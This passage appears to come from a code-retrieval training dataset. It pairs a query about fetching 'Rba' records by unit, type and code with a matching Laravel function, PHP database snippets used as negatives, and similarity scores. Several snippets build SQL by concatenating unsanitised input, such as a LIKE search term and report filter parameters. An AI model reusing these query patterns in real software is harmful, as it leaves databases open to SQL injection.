add_berita_baca(?)\";\n\t\t\t$this->db->query($sql,array($seo_judul));\n\t\t}\n\t\t$this->db->select('a.*,ifnull(b.nama_kategori,\"Unknown Category\") as nama_kategori,ifnull(b.kategori_seo,\"unknown-category\") as kategori_seo,sha1(a.id_berita) as ref');\n\t\t$this->db->from($this->berita_table.' a');\n\t\t$this->db->join($this->kategori_table.' b','on a.id_kategori = b.id_kategori','left');\n\t\t$this->db->limit($limit,$ofset);\n\t\tif($status != null){\n\t\t\t$this->db->where(array(\"status\"=>$status));\n\t\t}\n\t\tif($seo_judul != null){\n\t\t\t$this->db->where(array(\"a.judul_seo\"=>$seo_judul));\n\t\t}\n\t\tif($id != null){\n\t\t\t$this->db->where(array(\"a.id_berita\"=>$id));\n\t\t}\n\t\tif($kategori != null){\n\t\t\t$this->db->where(array(\"a.id_kategori\"=>$kategori));\n\t\t}\n\t\t$this->db->order_by('a.tanggal','desc');\n\t\treturn $this->db->get()->result();\n\t}", "public function nahrajObrazkyVyhledavac($textHledani){\t\t\t\n\t\t\t$dotaz = \"SELECT obrazekID,filepath,tabObrazky.uzivatelID,uzivatelJmeno FROM tabObrazky \n\t\t\t\t\tJOIN tabUzivatele ON tabUzivatele.uzivatelID = tabObrazky.uzivatelID WHERE filepath LIKE \".'\"%' . $textHledani.'%\"';\n\t\t\t\n\t\t\t\t//echo \"X \".$dotaz .\" X\";\n\t\t\t\n\t\t\t$vysledek = mysqli_query($this -> pripojeni,$dotaz);\n\t\t\t$vratit = array();\n\t\t\t\n\t\t\tif($vysledek == false){\n\t\t\t\techo(\"During data upload an error occured!\" . mysqli_error($this->pripojeni) );\n\t\t\t}\n\t\telse{\n\t\t\t//case result is mysqli_result\n\t\t\t$pole = $vysledek->fetch_all(MYSQLI_ASSOC);\n\t\t\tforeach($pole as $radek ){\n\t\t\t\t\n\t\t\t\t/*\n\t\t\t\tforeach($radek as $x => $x_value) {\n\t\t\t\t\techo \"Key=\" . $x . \", Value=\" . $x_value;\n\t\t\t\t\techo \"<br>\";\n\t\t\t\t}\n\t\t\t\t*/\n\n\t\t\t\t$obrazekID = $radek[\"obrazekID\"];\n\t\t\t\t$filePath = $radek[\"filepath\"];\n\t\t\t\t$uzivatelID = $radek[\"uzivatelID\"];\n\t\t\t\t$jmenoUzivateleCoNahral = $radek[\"uzivatelJmeno\"];\t\n\t\t\t\t\n\t\t\t\t/*\n\t\t\t\techo $obrazekID;\n\t\t\t\techo $filePath;\n\t\t\t\techo $uzivatelID;\n\t\t\t\t*/\n\t\t\t\t//echo '*'.$jmenoUzivateleCoNahral.'*';\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t$obrazek = new obrazekObjekt($obrazekID, $filePath,$uzivatelID,$jmenoUzivateleCoNahral);\n\t\t\t\t\n\t\t\t\t//echo $obrazek->filePath;\n\t\t\t\t//echo $obrazek->jmenoUzivateleCoNahral;\n\t\t\t\t\n\t\t\t\tarray_push($vratit,$obrazek); \n\t\t\t\t\n\t\t\t\t\n\t\t\t}\n\t\t}\t\n\t\treturn\t$vratit;\t\t\n\t\t\n\t}", "public function getBobotKriteria()\n {\n $query =$this->db->query(\"SELECT * FROM tb_kriteria ORDER BY id_kriteria\");\n \n $criteria = array();\n foreach ($query->result_array() as $row) {\n \n $criteria[$row['id_kriteria']] = $row['weight'];\n\n }\n \n return $criteria;\n }", "private function proses_npde_pasca2($a, $unit) {\n\t\textract($a);\n\t\t\n\t\t// cari di rbm, dapatkan idnya lalu masukkan ke rincian\n\t\t$rbm = substr($koduk, 0, 7);\n\t\t$urut = substr($koduk, 7, 5);\n\t\t$urut = intval($urut);\n\t\t\n\t\t$run = $this->db->query(\"SELECT `ID_RBM` FROM `rbm` WHERE `NAMA_RBM` = '$rbm'\", TRUE);\n\t\t\n\t\tif (empty($run->ID_RBM)) {\n\t\t\t$ins = $this->db->query(\"INSERT INTO `rbm` VALUES(0, '0', '$unit', '$rbm','1')\");\n\t\t\t$idrbm = $this->db->get_insert_id();\n\t\t} else $idrbm = $run->ID_RBM;\n\t\t\n\t\t$run = $this->db->query(\"SELECT `ID_RINCIAN_RBM` FROM `rincian_rbm` WHERE `ID_PELANGGAN` = '$idpel' AND `ID_RBM` = '$idrbm'\", TRUE);\n\t\tif (empty($run->ID_RINCIAN_RBM))\n\t\t\t$ins = $this->db->query(\"INSERT INTO `rincian_rbm` VALUES(0, '$idpel', '$idrbm', '$urut')\");\n\t\t\n\t\t$run = $this->db->query(\"SELECT `ID_KODEPROSES`, `DAYA_PELANGGAN`, `FAKTORKWH_PELANGGAN`, `KODUK_PELANGGAN`, `FAKTORKVAR_PELANGGAN` FROM `pelanggan` WHERE `ID_PELANGGAN` = '$idpel'\", TRUE);\n\t\t\t\n\t\t$id_blth = $this->get_id_blth($blth);\n\t\t$id_blth = $id_blth - 1;\n\t\t$klp = trim($klp);\n\t\t$kodeproses = $this->get_id_kodeproses($klp);\n\t\t$tarif = trim($tarif);\n\t\t$daya = floatval($daya);\n\t\t$fm = floatval($fm);\n\t\t$fk = floatval($fkvar);\n\t\t\n\t\t// db escape\n\t\t$nm = $this->db->escape_str($nm);\n\t\t$alm = $this->db->escape_str($alm);\n\t\t$koduk = $this->db->escape_str($koduk);\n\t\t\n\t\tif (empty($run)) {\n\t\t\t$ins = $this->db->query(\"INSERT INTO `pelanggan` VALUES('$idpel', '$kodeproses', '1', '$nm', '$tarif', '$ktarif', '$daya', '$alm', '$koduk', '', '', '$fm', '$fk', '1')\");\n\t\t\t\n\t\t} else {\n\t\t\t$upd = array();\n\t\t\tif ($run->ID_KODEPROSES != $kodeproses) $upd[] = \"`ID_KODEPROSES` = '$kodeproses'\";\n\t\t\tif ($run->DAYA_PELANGGAN != $daya) $upd[] = \"`DAYA_PELANGGAN` = '$daya'\";\n\t\t\tif ($run->KODUK_PELANGGAN != $koduk) $upd[] = \"`KODUK_PELANGGAN` = '$koduk'\";\n\t\t\tif ($run->FAKTORKWH_PELANGGAN != $fm) $upd[] = \"`FAKTORKWH_PELANGGAN` = '$fm'\";\n\t\t\tif ($run->FAKTORKVAR_PELANGGAN != $fk) $upd[] = \"`FAKTORKVAR_PELANGGAN` = '$fk'\";\n\t\t\t$upd[] = \"`STATUS_PELANGGAN` = '1'\";\n\t\t\t$u = $this->db->query(\"UPDATE `pelanggan` SET \" . implode(\", \", $upd) . \" WHERE `ID_PELANGGAN` = '$idpel'\");\n\t\t}\n\t\t\t\n\t\t\t\n\t\t// insert ke bacameter jika bacameter masih kosong\n\t\t//$run = $this->db->query(\"SELECT COUNT(`ID_BACAMETER`) AS `HASIL` FROM `bacameter` WHERE `ID_PELANGGAN` = '$idpel' AND `KIRIM_BACAMETER` = 'N'\", TRUE);\t\n\t\t//$run = $this->db->query(\"SELECT COUNT(`ID_BACAMETER`) AS `HASIL` FROM `bacameter` WHERE `ID_PELANGGAN` = '$idpel' AND `ID_BLTH` = '$id_blth'\", TRUE);\n\n\t\t//if ($run->HASIL == 0) {\t\t\n \t\t\t$lwbp0 = floatval($lwbp0) . '.00';\n\t\t\t$wbp0 = floatval($wbp0) . '.00';\n\t\t\t$kvarh0 = floatval($kvarh0) . $dgtkvarh0;\n \t\t\t$ins = $this->db->query(\"INSERT INTO `bacameter` VALUES(0, '0', '0', '$idpel', '$id_blth', NOW(), '$lwbp0', '$wbp0', '$kvarh0', '', NOW(), '0', 'N',0)\");\n\t\t//}\n\t\t/*else {\n\t\t//backup bacameter ke history\n\t\t\t$ceka = $this->db->query(\"SELECT COUNT(`ID_BACAMETER`) AS `HASIL` FROM `history` WHERE `ID_PELANGGAN` = '$idpel' AND `ID_BLTH` = '$id_blth'\", TRUE);\n\t\t\tif ($ceka->HASIL == 0) {\n\t\t\t$ins = $this->db->query(\"INSERT INTO `history` select * from `bacameter` where `ID_PELANGGAN` = '$idpel' AND `ID_BLTH` = '$id_blth' AND `KIRIM_BACAMETER`!='N'\");\n\t\t\t}\n \t\t\t$ins = $this->db->query(\"update `bacameter` set lwbp_bacameter='$lwbp0', wbp_bacameter='$wbp0' , kvarh_bacameter='$kvarh0', terkirim_bacameter=NOW(), kirim_bacameter='N' where id_pelanggan='$idpel' and id_blth='$id_blth'\");\n\t\t}*/\n\t}", "public function getKdBrgTanah()\n {\n return $this->kd_brg_tanah;\n }" ]
[ "0.65435916", "0.6485333", "0.6321083", "0.62773734", "0.6142595", "0.613137", "0.61252147", "0.610221", "0.609638", "0.6096007", "0.6092469", "0.5990417", "0.5984947", "0.5903293", "0.5897557", "0.58970875", "0.58922243", "0.5883395", "0.58763903", "0.5874227", "0.5869933", "0.58625966", "0.58389986", "0.5835873", "0.5825425", "0.5807432", "0.5798039", "0.5794573", "0.57486737", "0.5745814", "0.5742061", "0.5736384", "0.5682783", "0.5680806", "0.5662944", "0.5650322", "0.56460565", "0.563635", "0.56306285", "0.56245995", "0.56220734", "0.5616165", "0.5609756", "0.56046546", "0.5602031", "0.56018925", "0.55987114", "0.55968475", "0.5595283", "0.5585471", "0.5584694", "0.5583423", "0.5577962", "0.5577458", "0.5576917", "0.5571053", "0.5569478", "0.5563471", "0.556301", "0.55626786", "0.5561508", "0.55579966", "0.5555647", "0.55549324", "0.55459034", "0.55225533", "0.55183035", "0.5513945", "0.55110425", "0.55076164", "0.5506226", "0.5504725", "0.55037034", "0.5502545", "0.5494841", "0.5492086", "0.5485867", "0.54831964", "0.54772353", "0.54747975", "0.5472868", "0.547121", "0.5470895", "0.54650724", "0.54620814", "0.5460898", "0.5459646", "0.54536945", "0.54533374", "0.5436355", "0.54348856", "0.54292315", "0.54285663", "0.54208153", "0.54115963", "0.5411396", "0.5410653", "0.5410355", "0.54094684", "0.5408985" ]
0.70580643
0
Get Rba By UnitKerja, Tipe and Kode
public function getRba221($unitKerja, $tipe, $kodeRba) { $rba = Rba::with(['rincianSumberDana.akun']) ->where('kode_unit_kerja', $unitKerja) ->where('tipe', $tipe) ->where('kode_rba', $kodeRba) ->get(); return $rba; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getRba($unitKerja, $tipe, $kodeRba)\n {\n $rba = Rba::with(['rincianSumberDana.akun'])\n ->where('kode_unit_kerja', $unitKerja)\n ->where('tipe', $tipe)\n ->where('kode_rba', $kodeRba)\n ->first();\n \n return $rba;\n }", "public function getRbaMurni($request, $kodeUnit = null)\n {\n $rba = Rba::whereHas('statusAnggaran', function ($query) {\n $query->where('is_copyable', true);\n })->with(['statusAnggaran', 'mapKegiatan.blud']);\n \n if ($kodeUnit) {\n $rba->where('kode_unit_kerja', $kodeUnit);\n }\n\n if ($request->unit_kerja) {\n $rba->where('kode_unit_kerja', $request->unit_kerja);\n }\n\n if ($request->start_date) {\n $rba->where('created_at', '>=', $request->start_date);\n }\n\n if ($request->end_date) {\n $rba->where('created_at', '<=', $request->end_date);\n }\n\n return $rba->get();\n\n }", "function get_bobot_trwln($param,$kd_unit,$kd_giat,$kd_output,$kd_komponen){\r\n\t\tif($param == 3){\r\n\t\t\t$queryext=\"target_3 as tw_target\";\r\n\t\t}elseif($param == 6){\r\n\t\t\t$queryext=\"target_6 as tw_target\";\r\n\t\t}elseif($param == 9){\r\n\t\t\t$queryext=\"target_9 as tw_target\";\r\n\t\t}elseif($param == 12){\r\n\t\t\t$queryext=\"target_12 as tw_target\";\r\n\t\t}\r\n\t\t$query =\"select {$queryext} from monev_bulanan where kategori = 3 and kdunitkerja = {$kd_unit} and kdgiat = {$kd_giat} and kdoutput = {$kd_output} and kdkmpnen = {$kd_komponen}\" ;\r\n\t\t// pr($query);\r\n\t\t$result = $this->fetch($query);\r\n\t\treturn $result; \r\n\t}", "function get_konsistensi_perbulan($thang=\"2011\",$bulan=null,$kddept=null,$kdunit=null,$kdprogram=null,$kdsatker=null,$return_data='rpd')\r\n{\r\n\t$ci = & get_instance();\r\n\t$ci->load->database();\r\n\t$sql = 'SELECT \r\n\t\t\tbulan, \r\n\t\t\tsum( jmlrpd ) AS rpd, \r\n\t\t\tsum( jmlrealisasi ) AS realisasi, \r\n\t\t\tround( avg( k ) , 2 ) AS konsistensi\r\n\t\tFROM tb_konsistensi\r\n\t\tWHERE thang ='.$thang.' ';\r\n\t\r\n\t$group = '';\r\n\tif(isset($bulan)):\r\n\t\t$sql .= 'and bulan='.$bulan.' ';\r\n\tendif;\r\n\tif(isset($kddept)):\r\n\t\t$sql .= 'and kddept='.$kddept.' ';\r\n\t\t$group .= ', kddept';\r\n\tendif;\r\n\tif(isset($kdunit)):\r\n\t\t$sql .= 'and kdunit='.$kdunit.' ';\r\n\t\t$group .= ', kdunit';\r\n\tendif;\r\n\tif(isset($kdprogram)):\r\n\t\t$sql .= 'and kdprogram='.$kdprogram.' ';\r\n\t\t$group .= ', kdprogram';\r\n\tendif;\r\n\tif(isset($kdsatker)):\r\n\t\t$sql .= 'and kdsatker='.$kdsatker.' ';\r\n\t\t$group .= ', kdsatker';\r\n\tendif;\r\n\t\r\n\t$sql .=' GROUP BY thang, bulan'.$group;\r\n\t$konsistensi = $ci->db->query($sql)->row();\r\n\tif($konsistensi):\r\n\t\treturn $konsistensi->$return_data;\r\n\telse:\r\n\t\treturn 0;\r\n\tendif;\r\n}", "public function tampilKandangRusak()\n {\n $data = array(\n 'kondisi_kandang' => 'Rusak',\n 'kondisi_kandang' => 'Kotor'\n );\n $this->db->where($data);\n return $this->db->get('tb_kandang');\n }", "public function searchBarangUmum($params)\n {\n $query = Barang::find()->where('b0001.STATUS <> 3 AND b0001.KD_TYPE<>30 AND b0001.KD_KATEGORI <>39 AND b0001.KD_SUPPLIER <> \"SPL.LG.0000\" AND b0001.PARENT=0');\n\t\t/* $query->joinWith(['sup' => function ($q) {\n\t\t\t$q->where('d0001.NM_DISTRIBUTOR LIKE \"%' . $this->nmsuplier . '%\"');\n\t\t}]); */\n $query->joinWith(['unitb' => function ($q) {\n $q->where('ub0001.NM_UNIT LIKE \"%' . $this->unitbrg . '%\"');\n }]);\n\n // $query->joinWith(['tipebg' => function ($q) {\n // $q->where('b1001.NM_TYPE LIKE \"%' . $this->tipebrg . '%\"');\n // }]);\n\n // $query->joinWith(['kategori' => function ($q) {\n // $q->where('b1002.NM_KATEGORI LIKE \"%' . $this->nmkategori . '%\"');\n // }]);\n\n $dataProvider = new ActiveDataProvider([\n 'query' => $query,\n\t\t\t'pagination' => [\n\t\t\t\t'pageSize' => 20,\n\t\t\t],\n ]);\n\n\t\t $dataProvider->setSort([\n\t\t\t'attributes' => [\n 'KD_BARANG',\n 'NM_BARANG',\n /* 'nmsuplier' => [\n \t\t\t\t'asc' => ['d0001.NM_DISTRIBUTOR' => SORT_ASC],\n \t\t\t\t'desc' => ['d0001.NM_DISTRIBUTOR' => SORT_DESC],\n \t\t\t\t'label' => 'Supplier',\n \t\t\t], */\n\n 'corp.CORP_NM' => [\n 'asc' => ['u0001.CORP_NM' => SORT_ASC],\n 'desc' => ['u0001.CORP_NM' => SORT_DESC],\n // 'label' => 'Unit Barang',\n ],\n\n 'tipebrg' => [\n 'asc' => ['dbc002.b1001.NM_TYPE' => SORT_ASC],\n 'desc' => ['dbc002.b1001.NM_TYPE' => SORT_DESC],\n 'label' => 'Tipe Barang',\n ],\n\n \t\t\t'nmkategori' => [\n \t\t\t\t'asc' => ['b1002.NM_KATEGORI' => SORT_ASC],\n \t\t\t\t'desc' => ['b1002.NM_KATEGORI' => SORT_DESC],\n \t\t\t\t'label' => 'Kategori',\n \t\t\t],\n\n\t\t\t]\n\t\t]);\n\n\t\tif (!($this->load($params) && $this->validate())) {\n\t\t\t/**\n\t\t\t * The following line will allow eager loading with country data\n\t\t\t * to enable sorting by country on initial loading of the grid.\n\t\t\t */\n\t\t\treturn $dataProvider;\n\t\t}\n\n $query->andFilterWhere(['like', 'b0001.STATUS', $this->STATUS])\n ->andFilterWhere(['like', 'NM_BARANG', $this->NM_BARANG])\n ->andFilterWhere(['like', 'b0001.KD_BARANG', $this->KD_BARANG])\n ->andFilterWhere(['like', 'b0001.HARGA_SPL', $this->HARGA_SPL])\n\t\t\t ->andFilterWhere(['like', 'b0001.KD_CORP', $this->getAttribute('corp.CORP_NM')])\n\t\t\t->andFilterWhere(['like', 'b0001.KD_TYPE', $this->tipebrg])\n\t\t\t->andFilterWhere(['like', 'b0001.KD_KATEGORI', $this->nmkategori]);\n return $dataProvider;\n }", "function getNaikPangkat($conn,$r_kodeunit,$r_tglmulai,$r_tglselesai){\n\t\t\tglobal $conf;\n\t\t\trequire_once($conf['gate_dir'].'model/m_unit.php');\n\t\t\t\t\t\n\t\t\t$col = mUnit::getData($conn,$r_kodeunit);\n\t\t\t\n\t\t\t$sql = \"select p.nik,\".static::schema.\".f_namalengkap(p.gelardepan,p.namadepan,p.namatengah,p.namabelakang,p.gelarbelakang) as namalengkap,\n\t\t\t\t\tr.*,substring(right(replicate('0', 4) + cast(r.mkglama as varchar), 4),1,2)+' tahun '+substring(right(replicate('0', 4) + cast(r.mkglama as varchar), 4),3,2)+' bulan' as mklama,\n\t\t\t\t\tsubstring(right(replicate('0', 4) + cast(r.mkg as varchar), 4),1,2)+' tahun '+substring(right(replicate('0', 4) + cast(r.mkg as varchar), 4),3,2)+' bulan' as mkbaru,\n\t\t\t\t\tpl.golongan as pangkatlama, pb.golongan as pangkatbaru,u.namaunit\n\t\t\t\t\tfrom \".self::table('pe_kpb').\" r \n\t\t\t\t\tleft join \".self::table('ms_pegawai').\" p on p.idpegawai=r.idpegawai\n\t\t\t\t\tleft join \".self::table('ms_unit').\" u on u.idunit=p.idunit\n\t\t\t\t\tleft join \".self::table('ms_pangkat').\" pl on pl.idpangkat=r.idpangkatlama\n\t\t\t\t\tleft join \".self::table('ms_pangkat').\" pb on pb.idpangkat=r.idpangkat\n\t\t\t\t\twhere u.infoleft >= \".(int)$col['infoleft'].\" and u.inforight <= \".(int)$col['inforight'].\" and r.tglkpb between '$r_tglmulai' and '$r_tglselesai'\";\n\t\t\t$rs = $conn->Execute($sql);\n\t\t\t\n\t\t\t$a_data = array('list' => $rs, 'namaunit' => $col['namaunit']);\n\t\t\t\n\t\t\treturn $a_data;\t\n\t\t}", "function getDataPeriodeTh($conn,$periode,$kurikulum,$kodeunit,$padanan=false) {\n\t\t\t$sql_in=\"select distinct(kodemk) from \".static::table().\" k join \".static::table('ak_kurikulum').\" c using (thnkurikulum,kodemk,kodeunit) \n\t\t\t\t\t\twhere (k.periode = '\".substr($periode,0,4).\"1' or k.periode = '\".substr($periode,0,4).\"2') and k.kodeunit = '$kodeunit' and (k.thnkurikulum = '$kurikulum'\".\n\t\t\t\t\t\t($padanan ? \" or e.kodemkbaru is not null\" : '').\")\";\n\t\t\t$sql = \"select distinct k.thnkurikulum, k.kodemk, k.kodeunit, k.kelasmk, c.namamk, c.sks, c.semmk, k.koderuang,\n\t\t\t\t\t\tk.nohari, k.jammulai, k.jamselesai, k.nohari2, k.jammulai2, k.jamselesai2\n\t\t\t\t\tfrom \".static::table().\" k join \".static::table('ak_kurikulum').\" c using (thnkurikulum,kodemk,kodeunit)\n\t\t\t\t\tleft join \".static::table('ak_ekivaturan').\" e on e.tahunkurikulumbaru = k.thnkurikulum and e.kodemkbaru = k.kodemk\n\t\t\t\t\t\tand e.kodeunitbaru = k.kodeunit and e.thnkurikulum = '$kurikulum'\n\t\t\t\t\twhere (k.periode = '\".substr($periode,0,4).\"1' or k.periode = '\".substr($periode,0,4).\"2') and k.kodemk in ($sql_in) and (k.thnkurikulum = '$kurikulum'\".\n\t\t\t\t\t\t($padanan ? \" or e.kodemkbaru is not null\" : '').\")\n\t\t\t\t\torder by c.namamk, k.kelasmk\";\n\t\t\t\n\t\t\treturn $conn->GetArray($sql);\n\t\t}", "public function getAllData($tahunAk=null,$ruang=null,$mulai = null,$penanggungJawab=false){\r\r\n\t\t$tempObjectDB = $this->gateControlModel->loadObjectDB('Pinjam');\r\r\n\t\tif(!is_null($tahunAk)){\r\r\n\t\t\t$tempObjectDB->setTahunAk($tahunAk,true);\r\r\n\t\t\t$tempObjectDB->setWhere(1);\r\r\n\t\t\tif($penanggungJawab)\r\r\n\t\t\t\t$tempObjectDB->setWhere(7);\r\r\n\t\t\tif(!is_null($ruang)){\r\r\n\t\t\t\t$tempObjectDB->setRuang($ruang,true);\r\r\n\t\t\t\t$tempObjectDB->setWhere(3);\r\r\n\t\t\t\tif($penanggungJawab)\r\r\n\t\t\t\t\t$tempObjectDB->setWhere(9);\r\r\n\t\t\t\tif(!is_null($mulai)){\r\r\n\t\t\t\t\t$tempObjectDB->setMulai($mulai,true);\r\r\n\t\t\t\t\t$tempObjectDB->setWhere(5);\r\r\n\t\t\t\t\tif($penanggungJawab)\r\r\n\t\t\t\t\t\t$tempObjectDB->setWhere(10);\r\r\n\t\t\t\t}\r\r\n\t\t\t}\r\r\n\t\t}else if(!is_null($ruang)){\r\r\n\t\t\t$tempObjectDB->setRuang($ruang,true);\r\r\n\t\t\t$tempObjectDB->setWhere(2);\r\r\n\t\t\tif($penanggungJawab)\r\r\n\t\t\t\t$tempObjectDB->setWhere(8);\r\r\n\t\t}\r\r\n\t\tif(!$penanggungJawab)\r\r\n\t\t\treturn $this->gateControlModel->executeObjectDB($tempObjectDB)->takeData();\r\r\n\t\t$tempMahasiswa = $this->gateControlModel->loadObjectDB('Murid');\r\r\n\t\t$tempMultiple = $this->gateControlModel->loadObjectDB('Multiple');\r\r\n\t\t$tempObjectDB->setWhereMultiple(1);\r\r\n\t\t$tempMultiple->addTable($tempObjectDB);\r\r\n\t\t$tempMultiple->addTable($tempMahasiswa);\r\r\n\t\treturn $this->gateControlModel->executeObjectDB($tempMultiple)->takeData();\r\r\n\t}", "function getDetailRekapPotKehadiran($conn, $r_unit, $r_periode, $sqljenis, $i_pegawai) {\n $last = self::getLastDataPeriodeGaji($conn);\n\n //data gaji\n $sql = \"select pr.idpegawai,sum(potkehadiran) as potkehadiran,sum(pottransport) as pottransport, sum(potkehadiran) + sum(pottransport) as totalpotkehadiran, \n\t\t\t\t\t\" . static::schema . \".f_namalengkap(p.gelardepan,p.namadepan,p.namatengah,p.namabelakang,p.gelarbelakang) as namalengkap, \n\t\t\t\t\tcase when p.idjstruktural is not null then s.jabatanstruktural else 'Staff' end as jabatanstruktural,j.jenispegawai\n\t\t\t\t\tfrom \" . static::table('pe_presensidet') . \" pr \n\t\t\t\t\tleft join \" . static::table('ms_pegawai') . \" p on p.idpegawai=pr.idpegawai\n\t\t\t\t\tleft join \" . static::table('ms_unit') . \" u on u.idunit=p.idunit\n\t\t\t\t\tleft join \" . static::table('ms_struktural ') . \" s on s.idjstruktural=p.idjstruktural\n\t\t\t\t\tleft join \" . static::table('ms_jenispeg ') . \" j on j.idjenispegawai=p.idjenispegawai\n\t\t\t\t\twhere pr.tglpresensi between '\" . $last['tglawalhit'] . \"' and '\" . $last['tglakhirhit'] . \"' {$sqljenis} and u.parentunit = $r_unit\";\n if (!empty($i_pegawai))\n $sql .= \" and p.idpegawai not in ($i_pegawai)\";\n\n $sql .=\" group by pr.idpegawai, \" . static::schema . \".f_namalengkap(p.gelardepan,p.namadepan,p.namatengah,p.namabelakang,p.gelarbelakang), p.idjstruktural, jabatanstruktural,p.idjenispegawai,j.jenispegawai\n\t\t\t\t\torder by p.idjenispegawai\";\n\n $rs = $conn->Execute($sql);\n\n $a_data = array();\n while ($row = $rs->FetchRow())\n $a_data[] = $row;\n\n return $a_data;\n }", "public function index()\n {\n $user = $this->user->find(auth()->user()->id, ['*'], ['role', 'unitKerja']);\n\n $condition = function ($query) use($user){\n $query->where('tipe', auth()->user()->status);\n \n if ($user->role->role_name == Role::ROLE_PUSKESMAS){\n $query->where('kode_unit_kerja', $user->unitKerja->kode);\n }\n };\n \n /** RBA */\n $rba = $this->rba->get(['*'], $condition, ['rincianSumberDana']);\n\n $totalRba1 = 0;\n $totalRba221 = 0;\n $totalRba31 = 0;\n\n foreach ($rba as $item) {\n if ($item->getOriginal('kode_rba') == Rba::KODE_RBA_1) {\n $totalRba1 = +$item->rincianSumberDana->sum('nominal');\n } else if ($item->getOriginal('kode_rba') == Rba::KODE_RBA_221) {\n $totalRba221 = +$item->rincianSumberDana->sum('nominal');\n } else if ($item->getOriginal('kode_rba') == Rba::KODE_RBA_31) {\n $totalRba31 = +$item->rincianSumberDana->sum('nominal');\n }\n }\n\n $totalRba = ($totalRba1 + $totalRba31) - $totalRba221; \n $data['total_rba'] = $totalRba;\n\n /** RKA */\n $rka = $this->rka->get(['*'], $condition, ['rincianSumberDana']);\n\n $totalRka1 = 0;\n $totalRka21 = 0;\n $totalRka221 = 0;\n\n foreach ($rka as $item) {\n if ($item->getOriginal('kode_rka') == Rka::KODE_RKA_1) {\n $totalRka1 = +$item->rincianSumberDana->sum('nominal');\n } else if ($item->getOriginal('kode_rka') == Rka::KODE_RKA_21) {\n $totalRka21 = +$item->rincianSumberDana->sum('nominal');\n } else if ($item->getOriginal('kode_rka') == Rka::KODE_RKA_221) {\n $totalRka221 = +$item->rincianSumberDana->sum('nominal');\n }\n }\n\n $totalRka = ($totalRka1 + $totalRka21) - $totalRka221;\n $data['total_rka'] = $totalRka;\n\n return view('admin.index', compact('data'));\n }", "public function reportKebAktivitasPerBa($params = array())\n {\n $where = $select_group = $order_group = \"\";\n $params['uniq_code'] = $this->_global->genFileName();\n \n /* ################################################### generate excel estate cost ################################################### */\n //cari jumlah group report\n $query = \"\n SELECT MAX(LVL) - 1\n FROM (\n SELECT GROUP_CODE, \n CONNECT_BY_ISCYCLE \\\"CYCLE\\\",\n LEVEL as LVL, \n SYS_CONNECT_BY_PATH(GROUP_CODE, '/') \\\"HIRARKI\\\"\n FROM TM_RPT_MAPPING_ACT\n WHERE level > 1\n START WITH GROUP_CODE = '02.00.00.00.00' -- estate cost\n CONNECT BY NOCYCLE PRIOR GROUP_CODE = PARENT_CODE\n )\n \";\n $result['max_group'] = $this->_db->fetchOne($query);\n\n for ($i = 1 ; $i <= $result['max_group'] ; $i++){\n $select_group .= \"\n STRUKTUR_REPORT.GROUP\".str_pad($i,2,'0',STR_PAD_LEFT).\",\n (SELECT DESCRIPTION FROM TM_RPT_GROUP WHERE GROUP_CODE = STRUKTUR_REPORT.GROUP\".str_pad($i,2,'0',STR_PAD_LEFT).\") AS GROUP\".str_pad($i,2,'0',STR_PAD_LEFT).\"_DESC,\n \";\n $order_group .= \"\n STRUKTUR_REPORT.GROUP\".str_pad($i,2,'0',STR_PAD_LEFT).\",\n \";\n }\n \n //filter periode buget\n if($params['budgetperiod'] != ''){\n $where .= \"\n AND to_char(PERIOD_BUDGET,'RRRR') = '\".$params['budgetperiod'].\"'\n \";\n $result['PERIOD'] = $params['budgetperiod'];\n }else{\n $where .= \"\n AND to_char(PERIOD_BUDGET,'DD-MM-RRRR') = '\".$this->_period.\"'\n \";\n $result['PERIOD'] = $this->_period;\n }\n \n //filter region\n if ($params['src_region_code'] != '') {\n $where .= \"\n AND REGION_CODE = '\".$params['src_region_code'].\"'\n \";\n }\n \n //filter BA\n if ($params['key_find'] != '') {\n $where .= \"\n AND BA_CODE = '\".$params['key_find'].\"'\n \";\n }\n \n $query = \"\n SELECT $select_group\n REPORT.*,\n ORG.ESTATE_NAME\n FROM (\n SELECT CASE\n WHEN INSTR(HIRARKI, '/',1, 2) <> 0\n THEN SUBSTR(HIRARKI, INSTR(HIRARKI, '/',1, 2)+1, INSTR(HIRARKI, '/',1, 2) - 2) \n ELSE NULL\n END GROUP01,\n CASE\n WHEN INSTR(HIRARKI, '/',1, 3) <> 0\n THEN SUBSTR(HIRARKI, INSTR(HIRARKI, '/',1, 3)+1, INSTR(HIRARKI, '/',1, 2) - 2)\n ELSE NULL\n END GROUP02,\n CASE\n WHEN INSTR(HIRARKI, '/',1, 4) <> 0\n THEN SUBSTR(HIRARKI, INSTR(HIRARKI, '/',1, 4)+1, INSTR(HIRARKI, '/',1, 2) - 2)\n ELSE NULL\n END GROUP03,\n CASE\n WHEN INSTR(HIRARKI, '/',1, 5) <> 0\n THEN SUBSTR(HIRARKI, INSTR(HIRARKI, '/',1, 5)+1, INSTR(HIRARKI, '/',1, 2) - 2)\n ELSE NULL\n END GROUP04,\n GROUP_CODE\n FROM (\n SELECT TO_CHAR(HIRARKI) AS HIRARKI, \n LVL, \n TO_CHAR(GROUP_CODE) AS GROUP_CODE\n FROM (\n SELECT GROUP_CODE, \n CONNECT_BY_ISCYCLE \\\"CYCLE\\\",\n LEVEL as LVL, \n SYS_CONNECT_BY_PATH(GROUP_CODE, '/') \\\"HIRARKI\\\"\n FROM TM_RPT_MAPPING_ACT\n WHERE level > 1\n START WITH GROUP_CODE = '02.00.00.00.00' -- estate cost\n CONNECT BY NOCYCLE PRIOR GROUP_CODE = PARENT_CODE\n )\n GROUP BY HIRARKI, LVL, GROUP_CODE\n ORDER BY HIRARKI\n )\n ) STRUKTUR_REPORT\n LEFT JOIN TM_RPT_MAPPING_ACT MAPP\n ON STRUKTUR_REPORT.GROUP_CODE = MAPP.GROUP_CODE\n LEFT JOIN ( SELECT *\n FROM ( \n SELECT PERIOD_BUDGET,\n REGION_CODE,\n BA_CODE,\n ACTIVITY_DESC,\n TIPE_TRANSAKSI,\n ACTIVITY_CODE,\n SUB_COST_ELEMENT_DESC,\n COST_ELEMENT,\n SUB_COST_ELEMENT,\n KETERANGAN,\n UOM,\n SUM (QTY_JAN) QTY_JAN,\n SUM (QTY_FEB) QTY_FEB,\n SUM (QTY_MAR) QTY_MAR,\n SUM (QTY_APR) QTY_APR,\n SUM (QTY_MAY) QTY_MAY,\n SUM (QTY_JUN) QTY_JUN,\n SUM (QTY_JUL) QTY_JUL,\n SUM (QTY_AUG) QTY_AUG,\n SUM 